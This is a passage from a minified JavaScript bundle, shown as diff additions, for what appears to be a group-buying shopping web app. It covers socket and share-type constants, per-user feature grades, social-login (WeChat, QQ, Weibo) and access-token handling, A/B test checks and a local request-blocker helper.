""USERINFO"" + }, + CompleteLotteryHostname: ""m.ishangtong.com"", + PinSocket: { + KEEP_ALIVE_INTERVAL: 3e4, + REQUEST_ID_SEED: 1, + NATIVE_NOTIFICATION_NAME: ""PDDReceiveSocketMessage"", + HandlerType: { + Open: 0, + Close: 1, + Authentication: 2, + Message: 3 + }, + MinSupportVersion: { + Android: ""4.3"" + }, + ClientType: { + Android: ""android"", + IOS: ""ios"", + Web: ""web"" + }, + WebSocketType: { + Push: 1, + Chat: 2 + }, + doCmtCmd: [""latest_remain_mall_conversations"", ""mall_online_status"", ""unread_msg_count"", ""unread_friend_msg_count"", ""assign_cs_logic"", ""mark_read"", ""send_message"", ""send_friend_message""], + NewPushDomainRate: 100 + }, + Express: { + NotShowExpressOvertime: 7776e3, + SelfLogisticsShippingID: 180, + OverseaExpressShippingID: 149 + }, + ShareType: { + WeChatSession: 1, + WeChatTimeline: 2, + Weibo: 3, + QQChatSession: 4, + QQZone: 5, + TencentWeibo: 6, + WeChatSessionApp: 7, + WeChatTimelineImage: 8, + WeChatTimelineImageWithNoSDK: 9, + WeChatSessionImage: 10, + QQChatSessionImage: 11, + QQZoneImage: 12, + WeiboImage: 13, + Friends: 14, + WechatBigImage: 15 + }, + PromptType: l.PromptType, + VnsConstant: d + }; + t.a = f + }, + o1JZ: function(e, t, n) { + var r = n(""wGyw""); + ""string"" == typeof r && (r = [ + [e.i, r, """"] + ]); + var a = { + transform: void 0 + }; + n(""aET+"")(r, a); + r.locals && (e.exports = r.locals) + }, + ""ouH+"": function(e, t, n) { + ""use strict""; + var r = n(""3OdE""), + a = n(""ii9O""), + i = n(""kk8N""), + o = n(""xnWZ""), + s = n(""b5fu""), + c = n(""tWR7""), + u = n(""IgcI""), + l = n(""n2/S""), + p = { + BirthpetStrategy: ""BirthpetStrategy"", + LotteryRule: 1, + PortalLottery: 2, + GroupBanner: 3, + OrderContact: 4, + Group: 5, + GroupModal: 6, + PortalFreeTrial: 7, + PortalPromotionSlip: 8, + ShowShareTimeline: 9, + ShowGroupTitlePrefix: 10, + GroupBuyButtonText: 11, + LaunchAPPTimeLineShare: 12, + Portal: 13, + ShowGroupLotteryRecmmend: 14, + ShowLeadAttentionImg: 15, + ChatListBanner: 28 + }, + d = { + BanList: 2, + Eco: 3, + ZJ: 4, + SubEco: 5, + Other: 6 + }, + h = { + PortalLottery: { + Goods: 1, + Icon: 2 + }, + PortalFreeTrial: { + Goods: 1, + Icon: 2 + } + }, + f = {}; + f[d.BanList] = {}, + f[d.BanList][p.LotteryRule] = 0, + f[d.BanList][p.PortalLottery] = 0, + f[d.BanList][p.GroupBanner] = 0, + f[d.BanList][p.OrderContact] = 0, + f[d.BanList][p.Group] = 0, + f[d.BanList][p.GroupModal] = 0, + f[d.BanList][p.PortalFreeTrial] = 0, + f[d.BanList][p.PortalPromotionSlip] = 0, + f[d.BanList][p.BirthpetStrategy] = 0, + f[d.BanList][p.ShowShareTimeline] = 0, + f[d.BanList][p.ShowGroupTitlePrefix] = 1, + f[d.BanList][p.GroupBuyButtonText] = 0, + f[d.BanList][p.LaunchAPPTimeLineShare] = 0, + f[d.BanList][p.Portal] = 0, + f[d.BanList][p.ShowGroupLotteryRecmmend] = 0, + f[d.BanList][p.ShowLeadAttentionImg] = 0, + f[d.BanList][p.ChatListBanner] = 0, + f[d.Eco] = {}, + f[d.Eco][p.LotteryRule] = 0, + f[d.Eco][p.PortalLottery] = 0, + f[d.Eco][p.GroupBanner] = 1, + f[d.Eco][p.OrderContact] = 0, + f[d.Eco][p.Group] = 0, + f[d.Eco][p.GroupModal] = 0, + f[d.Eco][p.PortalFreeTrial] = 0, + f[d.Eco][p.PortalPromotionSlip] = 0, + f[d.Eco][p.BirthpetStrategy] = 0, + f[d.Eco][p.ShowShareTimeline] = 0, + f[d.Eco][p.ShowGroupTitlePrefix] = 0, + f[d.Eco][p.GroupBuyButtonText] = 0, + f[d.Eco][p.LaunchAPPTimeLineShare] = 0, + f[d.Eco][p.Portal] = 1, + f[d.Eco][p.ShowGroupLotteryRecmmend] = 0, + f[d.Eco][p.ShowLeadAttentionImg] = 1, + f[d.Eco][p.ChatListBanner] = 1, + f[d.ZJ] = {}, + f[d.ZJ][p.LotteryRule] = 0, + f[d.ZJ][p.PortalLottery] = 0, + f[d.ZJ][p.GroupBanner] = 1, + f[d.ZJ][p.OrderContact] = 0, + f[d.ZJ][p.Group] = 0, + f[d.ZJ][p.GroupModal] = 0, + f[d.ZJ][p.PortalFreeTrial] = h.PortalFreeTrial.Goods, + f[d.ZJ][p.PortalPromotionSlip] = 0, + f[d.ZJ][p.BirthpetStrategy] = 0, + f[d.ZJ][p.ShowShareTimeline] = 0, + f[d.ZJ][p.ShowGroupTitlePrefix] = 0, + f[d.ZJ][p.GroupBuyButtonText] = 0, + f[d.ZJ][p.LaunchAPPTimeLineShare] = 0, + f[d.ZJ][p.Portal] = 1, + f[d.ZJ][p.ShowGroupLotteryRecmmend] = 0, + f[d.ZJ][p.ShowLeadAttentionImg] = 1, + f[d.ZJ][p.ChatListBanner] = 1, + f[d.SubEco] = {}, + f[d.SubEco][p.LotteryRule] = 1, + f[d.SubEco][p.PortalLottery] = h.PortalLottery.Goods, + f[d.SubEco][p.GroupBanner] = 1, + f[d.SubEco][p.OrderContact] = 1, + f[d.SubEco][p.Group] = 0, + f[d.SubEco][p.GroupModal] = 0, + f[d.SubEco][p.PortalFreeTrial] = h.PortalFreeTrial.Goods, + f[d.SubEco][p.PortalPromotionSlip] = 1, + f[d.SubEco][p.BirthpetStrategy] = 2, + f[d.SubEco][p.ShowShareTimeline] = 1, + f[d.SubEco][p.ShowGroupTitlePrefix] = 0, + f[d.SubEco][p.GroupBuyButtonText] = 1, + f[d.SubEco][p.LaunchAPPTimeLineShare] = 0, + f[d.SubEco][p.Portal] = 1, + f[d.SubEco][p.ShowGroupLotteryRecmmend] = 1, + f[d.SubEco][p.ShowLeadAttentionImg] = 1, + f[d.SubEco][p.ChatListBanner] = 1, + f[d.Other] = {}, + f[d.Other][p.LotteryRule] = 1, + f[d.Other][p.PortalLottery] = h.PortalLottery.Goods, + f[d.Other][p.GroupBanner] = 1, + f[d.Other][p.OrderContact] = 1, + f[d.Other][p.Group] = 1, + f[d.Other][p.GroupModal] = 1, + f[d.Other][p.PortalFreeTrial] = h.PortalFreeTrial.Goods, + f[d.Other][p.PortalPromotionSlip] = 1, + f[d.Other][p.BirthpetStrategy] = 2, + f[d.Other][p.ShowShareTimeline] = 1, + f[d.Other][p.ShowGroupTitlePrefix] = 0, + f[d.Other][p.GroupBuyButtonText] = 1, + f[d.Other][p.LaunchAPPTimeLineShare] = 1, + f[d.Other][p.Portal] = 1, + f[d.Other][p.ShowGroupLotteryRecmmend] = 1, + f[d.Other][p.ShowLeadAttentionImg] = 1, + f[d.Other][p.ChatListBanner] = 1; + var m = { + Grade: { + Scene: p, + Role: d, + Result: f, + ExtraField: h + } + }, + g = m.Grade, + v = g.ExtraField; + + function _(e) { + e = e || {}, + this.isMe = !0 === e.isMe || null == e.isMe, + this.initGrade(e.grade), + this.initUID(e.uid), + this.initAccessToken(e.accessToken) + } + _.prototype = { + isMe: !0, + grade: g.Role.BanList, + initGrade: function(e) { + e = parseInt(e, 10), + g.Result[e] ? this.grade = e : this.grade = g.Role.BanList + }, + getResultByScene: function(e) { + return g.Result[this.grade][e] + }, + getLotteryRule: function(e) { + return this.getResultByScene(g.Scene.LotteryRule) ? ""说明"" : """" + }, + getPromoteLotteryIcon: function() { + return !!this.getResultByScene(g.Scene.LotteryRule) + }, + getShowPortalLotteryGoods: function() { + return !!(this.getResultByScene(g.Scene.PortalLottery) & v.PortalLottery.Goods) + }, + getShowPortalLotteryIcon: function() { + return !!(this.getResultByScene(g.Scene.PortalLottery) & v.PortalLottery.Icon) + }, + getGroupBannerContact: function() { + return !!this.getResultByScene(g.Scene.GroupBanner) + }, + getCreateOrderContact: function() { + return !!this.getResultByScene(g.Scene.OrderContact) + }, + getGroupPageContact: function() { + return !!this.getResultByScene(g.Scene.Group) + }, + getPortalPageContact: function() { + return !!this.getResultByScene(g.Scene.Portal) + }, + showSharePointer: function(e) { + return (e = parseInt(e, 10) || this.grade) !== g.Role.BanList + }, + getGroupModal: function() { + return !!this.getResultByScene(g.Scene.GroupModal) + }, + getShowPortalFreeTrialGoods: function() { + return !!(this.getResultByScene(g.Scene.PortalFreeTrial) & v.PortalFreeTrial.Goods) + }, + getShowPortalFreeTrialIcon: function() { + return !!(this.getResultByScene(g.Scene.PortalFreeTrial) & v.PortalFreeTrial.Icon) + }, + getShowPortalPromotionSlip: function() { + return !!this.getResultByScene(g.Scene.PortalPromotionSlip) + }, + getTopBannerSubscribe: function() { + return this.getGroupBannerContact() + }, + getBirthpetStrategy: function() { + var e = this.getResultByScene(g.Scene.BirthpetStrategy); + return { + isForceContact: 2 === e, + isAppDownload: e >= 1 + } + }, + getPortalShowAssist: function() { + return !!this.getResultByScene(g.Scene.PortalShowAssist) + }, + getChatListBanner: function() { + return !!this.getResultByScene(g.Scene.ChatListBanner) + }, + getShowShareTimeline: function() { + return !!this.getResultByScene(g.Scene.ShowShareTimeline) + }, + getShowGroupTitlePrefix: function() { + return !!this.getResultByScene(g.Scene.ShowGroupTitlePrefix) + }, + getShowGroupLotteryRecmmend: function() { + return !!this.getResultByScene(g.Scene.ShowGroupLotteryRecmmend) + }, + getShowLeadAttentionImg: function() { + return !!this.getResultByScene(g.Scene.ShowLeadAttentionImg) + }, + getGroupBuyButtonText: function() { + return !!this.getResultByScene(g.Scene.GroupBuyButtonText) + }, + getGroupDetailMainButtonText: function() { + return !!this.getResultByScene(g.Scene.GroupDetailMainButtonText) + }, + getLaunchAPPTimeLineShare: function() { + return !!this.getResultByScene(g.Scene.LaunchAPPTimeLineShare) + }, + uid: 0, + initUID: function(e) { + this.uid = parseInt(e, 10) || 0 + }, + accessToken: """", + initAccessToken: function(e) { + this.accessToken = e || """" + } + }; + var b = _, + y = n(""uf4C"").a.getInstance(), + w = {}, + S = r.a.constant, + C = r.a.error, + A = r.a.get(location.host), + I = { + Unknown: 0, + Phone: 1, + Weibo: 2, + WeChat: 3, + QQ: 4 + }, + k = { + Base: ""snsapi_base"", + Userinfo: ""snsapi_userinfo"" + }, + E = { + LoginVerifyRisk: 54002, + LoginForbidden: 54003, + OtherForbiden: 54004 + }; + w = { + selfInfo: { + model: b, + instance: null, + getInstance: function(e) { + return (!this.instance || e && this.instance.grade !== e) && (this.instance = new this.model({ + grade: e || w.getGrade() || m.Grade.Role.BanList + })), + this.instance + } + }, + getAccessToken: function() { + return localStorage.getItem(""AccessToken"") + }, + hasLogin: function() { + return this.hasAccessToken() + }, + hasAccessToken: function() { + return null != this.getAccessToken() + }, + setAccessToken: function(e) { + s.a.saveToLocalStorage(""AccessToken"", e); + var t = {}; + t[S.CookieKey.AccessToken] = e, + s.a.setCookie(t) + }, + setAccessTokenOnNative: function(e) { + o.b.isNativeLoginVersion ? i.a.callNative(""AMUser"", ""setAccessToken"", { + access_token: e + }) : o.b.isNativePlatform() && i.a.callNative(""JSStorage"", ""setSecure"", { + key: ""__ACCESS_TOKEN__"", + value: e + }) + }, + setWeixinInfo: function(e) { + s.a.saveToLocalStorage(""weixinInfo"", e) + }, + setCustomerUID: function(e) { + s.a.saveToLocalStorage(""searchUID"", e) + }, + getAvatarURL: function(e, t) { + return s.a.getAvatarURL(e, A.shop.logo, t) + }, + authenticate: function(e, t, n) { + var r = function() { + if (e == S.AuthorizationType.Weibo) + return A.RedirectURI.Weibo + }(); + i.a.callNative(""JSLogin"", ""authenticate"", { + type: e, + redirect_uri: r + }, t, n, !0) + }, + ensureLogin: function(e, t, n, r, a, i) { + this.hasAccessToken() ? s.a.call(e) : this.login(null, null, e, t, n, r, a, i) + }, + login: function(e, t, n, r, p, d, h, f) { + var m = this; + if (!m.isLogin) { + m.isLogin = !0; + var g = function() { + switch (e) { + case S.AuthorizationType.SMS: + return A.AppID.SMS; + case S.AuthorizationType.Weibo: + return A.AppID.Weibo; + case S.AuthorizationType.WeChat: + return A.AppID.WeChat; + case S.AuthorizationType.QQ: + return o.b.isNativePlatform() ? A.AppID.QQ : A.AppID.QQPublic; + default: + return o.b.isWeChatPlatform() ? A.AppID.WeChat : o.b.isWeiboPlatform() ? A.AppID.Weibo : o.b.isQQPlatform() ? o.b.isEmbeddedBrowser() ? A.AppID.QQPublic : A.AppID.QQ : 0 + } + }(), + v = function(e, t) { + var n = e || k.Base, + r = t || (p || location.href).split(""#"")[0]; + location.href = ""https://open.weixin.qq.com/connect/oauth2/authorize?"" + c.a.buildQuery({ + response_type: ""code"", + scope: n, + appid: A.ApiKey.WeChat, + redirect_uri: r, + state: n === k.Userinfo ? S.WechatAuthType.UserInfo : S.WechatAuthType.Base + }) + ""#wechat_redirect"" + }, + _ = function(e) { + l.a.apiRequest(""POST"", ""login"", e, function(e) { + if (m.onLoginSuccess(e), + m.isLogin = !1, + s.a.call(n), !o.b.isEmbeddedBrowser() || o.b.isWeiboPlatform()) + return h ? a.a.back() : a.a.reload(p) + }, function(e, t) { + m.isLogin = !1; + var n = t || {}, + i = n.verify_auth_token, + c = n.verify_ttl; + return e === parseInt(C.NeedAuthenticationLogin.code, 10) && o.b.isWeChatPlatform() ? v(k.Userinfo) : e === E.LoginVerifyRisk ? a.a.reload(""psnl_verification.html?VerifyAuthToken="" + i + ""&from="" + encodeURIComponent(location.href)) : e === E.LoginForbidden ? a.a.reload(""login_error.html?ttl="" + c + ""&from="" + encodeURIComponent(location.href)) : e === E.OtherForbiden ? u.default.showToast(t.message || ""登录不成功,请稍后再试"") : void s.a.call(r, e) + }, !0) + }, + b = function(t) { + var n = { + app_id: g + }; + return e == S.AuthorizationType.WeChat ? n.code = t.auth_code : e == S.AuthorizationType.Weibo ? (n.access_token = t.access_token, + n.uid = t.uid) : e == S.AuthorizationType.QQ ? (n.access_token = t.access_token, + n.open_id = t.open_id) : e == S.AuthorizationType.SMS && (n.mobile = t.mobile, + n.code = t.code), + n + }, + y = function() { + var e = { + from: p || location.href + }; + h && (e.should_back = ""1""); + var t = ""/login.html?"" + c.a.buildQuery(e); + return d ? a.a.forward(t) : a.a.reload(t) + }; + m.logout(function() { + if (o.b.isEmbeddedBrowser()) { + var e = c.a.getParameter(""code""), + u = c.a.getParameter(""state""), + l = (p || location.href).split(""#"")[0]; + if (null == e || e.length <= 0) { + if (o.b.isWeChatPlatform()) + v(k.Base, l); + else if (o.b.isWeiboPlatform()) { + if (null == t) + return y(); + var d = b(t); + _(d) + } else + o.b.isQQPlatform() && (location.href = ""https://open.mp.qq.com/connect/oauth2/authorize?"" + c.a.buildQuery({ + response_type: ""code"", + scope: ""snsapi_base"", + appid: A.ApiKey.QQPublic, + redirect_uri: A.RedirectURI.QQConnect + ""?"" + c.a.buildQuery({ + refer: l + }) + }) + ""#qq_redirect""); + return + } + l = c.a.buildURL({ + code: null, + state: null + }, l), + a.a.replaceURL(l); + var h = { + code: e, + app_id: g + }; + u === S.WechatAuthType.UserInfo && (h.is_auth = 1); + var w = c.a.getParameter(""partner_id""); + w && (h.partner_id = w), + o.b.isWeiboPlatform() && (h.redirect_uri = A.RedirectURI.Weibo), + _(h) + } else if (o.b.isNativeLoginVersion) { + var I = f && f.appLoginType ? f.appLoginType : 0; + i.a.callNative(""JSNavigation"", ""modal"", { + type: ""login"", + props: { + login_type: I, + complete: function(e, t) { + 0 === e ? (m.onLoginSuccess(t), + m.isLogin = !1, + n || (n = function() { + a.a.reload(p) + }), + s.a.call(n)) : e === parseInt(C.NativeUserCancel.code, 10) ? (m.isLogin = !1, + f && f.handleNativeUserCancel ? f.handleNativeUserCancel() : s.a.call(r, e)) : (m.isLogin = !1, + s.a.call(r, e)) + } + } + }) + } else { + if (null == t) + return y(); + var E = b(t); + _(E) + } + }) + } + }, + onLoginSuccess: function(e) { + e.uid && (this.userID = e.uid), + e.uin && (this.userUIN = e.uin); + var t = e.access_token, + n = JSON.stringify(e.weixin); + if (this.setWeixinInfo(n), + this.setAccessToken(t), + this.setAccessTokenOnNative(t), + e.partner_id) { + var r = []; + try { + var a = localStorage.getItem(S.LocalStorageKey.PartnerList); + r = JSON.parse(a) || [] + } catch (e) {} + r.push(e.partner_id.toString()), + s.a.saveToLocalStorage(S.LocalStorageKey.PartnerList, JSON.stringify(r)) + } + }, + logout: function(e) { + this.setAccessToken(null), + this.setAccessTokenOnNative(null), + this.setWeixinInfo(null), + this.setCustomerUID(null), + this.updateUserAB({ + is_ab: null, + spid: null, + gpid: null + }), + this.updateGrade(), + localStorage.removeItem(S.LocalStorageKey.GoodsLikeData), + this.userID = null, + s.a.saveToLocalStorage(S.LocalStorageKey.PartnerList), + o.b.isNativePlatform() ? i.a.callNative(""JSLogin"", ""logout"", null, function() { + s.a.call(e) + }, function() { + s.a.call(e) + }) : s.a.call(e) + }, + setAppDownloadStatus: function(e) { + s.a.saveToLocalStorage(S.LocalStorageKey.CheckAppDownload, e) + }, + clearUserStorage: function() { + this.setAccessToken(null), + this.setWeixinInfo(null), + this.setCustomerUID(null), + this.updateUserAB({ + is_ab: null, + spid: null, + gpid: null + }), + this.updateGrade(), + this.userID = null, + s.a.saveToLocalStorage(S.LocalStorageKey.PartnerList), + s.a.saveToLocalStorage(S.LocalStorageKey.SubscribeStatus) + }, + getDownloadSrc: function() { + var e = ""browser""; + return o.b.isWeChatPlatform() ? e = ""weixin"" : o.b.isWeiboPlatform() ? e = ""weibo"" : o.b.isQQPlatform() && (e = ""qq""), + e + }, + getAppDownloadUsers: function() { + var e = localStorage.getItem(S.LocalStorageKey.AppDownloadUsers) || """"; + return e.length > 0 ? e.split(""|"") : [] + }, + checkMeAppDownload: function() { + var e = s.a.getSelfUID().toString(); + return (localStorage.getItem(S.LocalStorageKey.AppDownloadUsers) || """").indexOf(e) >= 0 + }, + saveMeAppDownload: function() { + if (!this.checkMeAppDownload()) { + var e = this.getAppDownloadUsers(), + t = e.length; + t >= S.AppDownloadUsersMaxNum && e.splice(0, t - S.AppDownloadUsersMaxNum + 1), + e.push(s.a.getSelfUID().toString()), + s.a.saveToLocalStorage(S.LocalStorageKey.AppDownloadUsers, e.join(""|"")) + } + }, + isAppDownloadRecord: function() { + return !!this.checkMeAppDownload() || (localStorage.getItem(S.LocalStorageKey.CheckAppDownload) || """") > Date.now() + }, + alarmAppDownload: function() {}, + updateUserAB: function(e) { + var t = this; + [ + [e.is_ab, ""AB""], + [e.spid, ""SP""], + [e.gpid, ""GP""] + ].forEach(function(e) { + void 0 !== e[0] && t.updateIsAB(e[0], e[1]) + }) + }, + setAppLoginType: function(e) { + this.loginType = parseInt(e, 10) || 0 + }, + getAppLoginType: function() { + return this.loginType + }, + isAppPhoneLogin: function() { + return this.loginType === I.Phone + }, + isAppWeiboLogin: function() { + return this.loginType === I.Weibo + }, + isAppWeChatLogin: function() { + return this.loginType === I.WeChat + }, + isAppQQLogin: function() { + return this.loginType === I.QQ + }, + updateIsAB: function(e, t) { + t = t || ""AB""; + var n = S.CookieKey[t], + r = S.LocalStorageKey[t], + a = {}; + if (null == e) + return a[n] = null, + s.a.setCookie(a), + void localStorage.removeItem(r); + var i = e ? ""1"" : ""0""; + a[n] = { + msec: 864e5, + value: i + }, + s.a.setCookie(a), + localStorage.setItem(r, JSON.stringify({ + ttl: Date.now() + 864e5, + value: i + })) + }, + isAB: function(e, t) { + t = t || ""AB""; + var n = this, + r = !1, + a = S.CookieKey[t], + i = S.LocalStorageKey[t], + o = """"; + try { + var c = JSON.parse(localStorage.getItem(i)) || {}; + c && c.value && c.ttl && parseInt(c.ttl, 10) > Date.now() && (o = c.value) + } catch (e) {} + var u = s.a.getCookieByName(a) || o; + if (r = ""1"" === u, + u.length <= 0) { + if (n.requestAB) + return s.a.call(e, r), + r; + n.requestAB = !0, + l.a.apiRequest(""GET"", ""user/is_ab"", null, function(a) { + switch (t) { + case ""AB"": + r = a.is_ab; + break; + case ""SP"": + r = a.spid; + break; + case ""GP"": + r = a.gpid + } + n.updateUserAB(a), + s.a.call(e, r), + n.requestAB = !1 + }, function() { + n.requestAB = !1, + s.a.call(e, r) + }, !1, !1, !0) + } else + s.a.call(e, r); + return r + }, + setValue: function(e, t, n) { + var r = {}, + a = """", + i = """"; + if (""uid"" === e ? (a = S.LocalStorageKey.UID, + i = S.CookieKey.UID) : ""uin"" === e && (a = S.LocalStorageKey.UIN, + i = S.CookieKey.UIN), + null == t) + return this[e] = null, + ""undefined"" != typeof localStorage && localStorage.removeItem(a), + r[i] = null, + void s.a.setCookie(r); + this[e] = ""number"" === n ? parseInt(t, 10) || 0 : t, + ""undefined"" != typeof localStorage && localStorage.setItem(a, this[e].toString(36)), + r[i] = this[e], + s.a.setCookie(r) + }, + set userID(e) { + this.setValue(""uid"", e, ""number"") + }, + set userUIN(e) { + this.setValue(""uin"", e) + }, + get userID() { + return this.uid || (this.uid = s.a.getSelfUID() || parseInt(s.a.getCookieByName(S.CookieKey.UID), 10) || 0), + this.uid + }, + updateGrade: function(e) { + this.grade = e; + var t = S.CookieKey.UserGrade, + n = S.LocalStorageKey.UserGrade, + r = {}; + if (null == e) + return r[t] = null, + s.a.setCookie(r), + void localStorage.removeItem(n); + e = parseInt(e, 10), + r[t] = { + msec: 6e5, + value: e + }, + s.a.setCookie(r), + localStorage.setItem(n, JSON.stringify({ + ttl: Date.now() + 6e5, + value: e + })) + }, + getGrade: function(e) { + var t = this, + n = S.CookieKey.UserGrade, + r = S.LocalStorageKey.UserGrade, + a = """"; + try { + var i = JSON.parse(localStorage.getItem(r)) || {}; + i && i.value && i.ttl && parseInt(i.ttl, 10) > Date.now() && (a = i.value) + } catch (e) {} + var o = parseInt(s.a.getCookieByName(n) || a || t.grade, 10); + if (o && (t.grade = o), !e) + return t.grade || m.Grade.Role.BanList; + if ((t.grade || t.requestGrade) && e(t.grade || m.Grade.Role.BanList), !o) { + t.requestGrade = !0; + var u = ""user/is_ab"", + p = c.a.getParameter(""group_order_id""); + p && (u += ""?group_order_id"" + p), + l.a.apiRequest(""GET"", u, null, function(n) { + t.updateUserAB(n), + t.updateGrade(n.egrp), + e(t.grade), + t.requestAB = !1 + }, function() { + t.requestAB = !1, + e(t.grade) + }, !1, !1, !0) + } + }, + requestSelfInfo: function(e, t, n) { + var r = this, + a = ""user/me?"" + c.a.buildQuery(e || {}); + l.a.apiRequest(""GET"", a, null, function(e) { + e.uid && (r.userID = e.uid), + null != e.is_ab && r.updateIsAB(e.is_ab), + null != e.is_subscribed && s.a.saveToLocalStorage(S.LocalStorageKey.SubscribeStatus, [r.userID, e.is_subscribed ? ""1"" : ""0""].join("":"")), + null != e.has_app && e.has_app && r.saveMeAppDownload(), + s.a.call(t, e) + }, function(e) { + s.a.call(n, e) + }, !1, !1, !0) + }, + requestSelfInfoV2: function(e, t, n) { + var r = this; + r.commonSelfInfoQuery || (r.commonSelfInfoQuery = r.getCommonSelfInfoQuery(e)); + var a = 0, + i = 1, + o = 2, + c = 3, + u = function(e) { + s.a.isArray(e) && e.length > 0 && e.forEach(function(e) { + s.a.call(e, r.requestSelfInfoData) + }) + }; + if (r.containAllSelfInfoQuery(r.commonSelfInfoQuery, e || {})) { + var l = r.requestSelfInfoState || a; + l === a ? (r.requestSelfInfoState = i, + r.requestSelfInfoSuccessCallback = [t], + r.requestSelfInfoFailCallback = [n], + r.requestSelfInfo(r.commonSelfInfoQuery, function(e) { + r.requestSelfInfoState = o, + r.requestSelfInfoData = e, + u(r.requestSelfInfoSuccessCallback), + r.requestSelfInfoSuccessCallback = [] + }, function(e) { + r.requestSelfInfoState = c, + r.requestSelfInfoData = e, + u(r.requestSelfInfoFailCallback), + r.requestSelfInfoFailCallback = [] + })) : l === i ? (r.requestSelfInfoSuccessCallback.push(t), + r.requestSelfInfoFailCallback.push(n)) : l === o ? s.a.call(t, r.requestSelfInfoData) : l === c && s.a.call(n, r.requestSelfInfoData) + } else + r.requestSelfInfo(e, t, n) + }, + containAllSelfInfoQuery: function(e, t) { + for (var n in t) + if (t.hasOwnProperty(n) && !e.hasOwnProperty(n)) + return !1; + return !0 + }, + getCommonSelfInfoQuery: function(e) { + var t = (navigator.userAgent || navigator.vendor || window.opera || """").match(/Android|webOS|iPhone|iPad|iPod/i), + n = t ? t[0] : null, + r = { + iPhone: ""ios"", + iPad: ""ios"", + iPod: ""ios"", + Android: ""android"", + default: ""unknown"" + }, + a = e || {}, + i = { + check_app_login: 1, + check_new_app: 1, + check_is_active: ""1"", + check_app_login_contain_mobile: 1, + check_is_ten_yuan: ""1"", + platform: r[n] || r.default, + contact_url_type: S.ContactURLType.HighPrice, + check_weixin_sp: S.ForceContactAppIDs.indexOf(A.AppID.WeChat) >= 0 ? ""1"" : null, + check_sub_content: o.b.isShowSMAlertPlatform() ? ""1"" : ""2"", + check_user_sharable: 1, + get_url: ""1"" + }, + s = location.pathname.slice(1).split("".html"")[0], + c = null; + 0 === s.length || ""index"" === s ? c = ""index"" : /^goods\d*/.test(s) && (c = ""goods""); + var u = { + index: { + normal: [""check_app_login"", ""check_new_app"", ""check_is_active"", ""check_app_login_contain_mobile"", ""platform""], + weChatExtra: [""contact_url_type"", ""check_weixin_sp"", ""check_sub_content"", ""check_user_sharable"", ""get_url""] + }, + goods: { + normal: [""check_is_active"", ""check_app_login""], + weChatExtra: [""platform"", ""get_url"", ""check_sub_content"", ""check_new_app"", ""check_weixin_sp"", ""check_is_ten_yuan"", ""check_app_login_contain_mobile"", ""contact_url_type""] + } + }[c]; + if (u) { + var l = u.normal; + o.b.isWeChatPlatform() && (l = l.concat(u.weChatExtra)), + l.forEach(function(e) { + a[e] = i[e] + }) + } + return a + }, + requestActiveInfo: function(e) { + var t = this; + return new Promise(function(e, n) { + l.a.apiRequest(""GET"", ""api/apollo/v3/user/active"", null, function(n) { + n.uid && (t.userID = n.uid), + e(n) + }, function(e) { + n(e) + }) + }) + }, + isSubscribed: function() { + var e = (localStorage.getItem(S.LocalStorageKey.SubscribeStatus) || """").split("":""); + return parseInt(e[0], 10) !== this.userID ? null : ""0"" !== e[1] && (""1"" === e[1] || null) + }, + getPaymentAppID: function(e) { + return e === S.PaymentType.WeChat ? o.b.isNativePlatform() || o.b.isWeChatPlatform() ? A.AppID.WeChat : A.AppID.WeChatH5Pay : e === S.PaymentType.AliPay ? o.b.isNativePlatform() ? A.AppID.AliPay : A.AppID.AliPayWeb : e === S.PaymentType.QQPay ? o.b.isNativePlatform() ? A.AppID.QQ : A.AppID.QQPublicPayment || A.AppID.QQPublic : e === S.PaymentType.ApplePay ? A.AppID.ApplePay : e === S.PaymentType.AliPayDirectDebit ? A.AppID.AliPayDirectDebit : e === S.PaymentType.HBInstallmentPay ? A.AppID.HBInstallmentPay : A.AppID.WeChat + }, + subscriberTrack: function(e, t, n) { + var r = JSON.parse(JSON.stringify(e)) || {}, + a = y.getExtendTransferParameters(!0); + r.extra = s.a.extend(r.extra, a), + l.a.apiRequest(""POST"", ""subscriber/track"", r, function(e) { + t && t(e) + }, function(e) { + n && n(e) + }, !1, !1, !0) + }, + getSceneMap: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : [], + t = arguments[1]; + return new Promise(function(n, r) { + l.a.apiRequest(""POST"", ""api/flow/ab/scene"", { + busi_name: t, + scene_ids: e + }, function(e) { + n(e.ab_map ? e.ab_map : {}) + }, function(e) { + r(e) + }, !1, !1, !0) + }) + } + }; + t.a = w + }, + pTOB: function(e, t, n) { + ""use strict""; + var r = n(""x+5E""); + var a = n(""ICD/""); + var i = n(""cDf5""), + o = n.n(i); + + function s(e, t) { + return Object(r.a)(e) || function(e) { + return e instanceof Array + }(e) ? e.indexOf(t) >= 0 : !! function(e) { + if (""object"" !== o()(e) || null === e) + return !1; + for (var t = e; null !== Object.getPrototypeOf(t);) + t = Object.getPrototypeOf(t); + return Object.getPrototypeOf(e) === t + }(e) && Object.keys(e).indexOf(t) >= 0 + } + n.d(t, ""a"", function() { + return u + }), + n.d(t, ""b"", function() { + return l + }); + var c = ""request_blocker""; + + function u(e) { + var t = e.uri, + n = void 0 === t ? """" : t, + i = e.time, + o = void 0 === i ? 0 : i; + if (Object(r.a)(n) && function(e) { + return +e == e + }(o)) { + var s = Object(a.a)(localStorage.getItem(c)) || {}, + u = (Date.now() / 1e3 | 0) + o; + s[n] = u, + localStorage.setItem(c, JSON.stringify(s)) + } + } + + function l(e) { + var t, n = e.url; + if (s(n, ""//"")) { + var r = document.createElement(""a""); + r.href = n, + t = r.pathname + } else { + var i = n.split(""?""); + t = ""/"".concat(i[0]) + } + var o = Object(a.a)(localStorage.getItem(c)) || {}, + u = !1, + l = {}, + p = Date.now() / 1e3 | 0; + return Object.keys(o).forEach(function(e) { + var n = o[e]; + p > n || (function(e) { + var t = e.indexOf(""{""), + n = e.indexOf(""}""); + return n > t && t >= 0 && n >= 0 ? new RegExp(e) : new RegExp(""^"".concat(e, ""$"")) + }(e).test(t) && (u = !0), + l[e] = n) + }), + localStorage.setItem(c, JSON.stringify(l)), + u + } + }, + pfHJ: function(e, t, n) { + ""use strict""; + n.r(t); + var r = n(""lwsE""), + a = n.n(r), + i = n(""W8MJ""), + o = n.n(i), + s = n(""a1gu""), + c = n.n(s), + u = n(""Nsbk""), + l = n.n(u), + p = n(""7W2i""), + d = n.n(p), + h = n(""q1tI""), + f = n.n(h), + m = function(e) { + function t(e) { + return a()(this, t), + c()(this, l()(t).call(this, e)) + } + return d()(t, e), + o()(t, [{ + key: ""render"", + value: function() { + var e, t = this; + this.props.title && (e = f.a.createElement(""p"", { + className: ""title"" + }, this.props.title)); + var n = []; + return this.props.desc && this.props.desc.forEach(function(e, t) 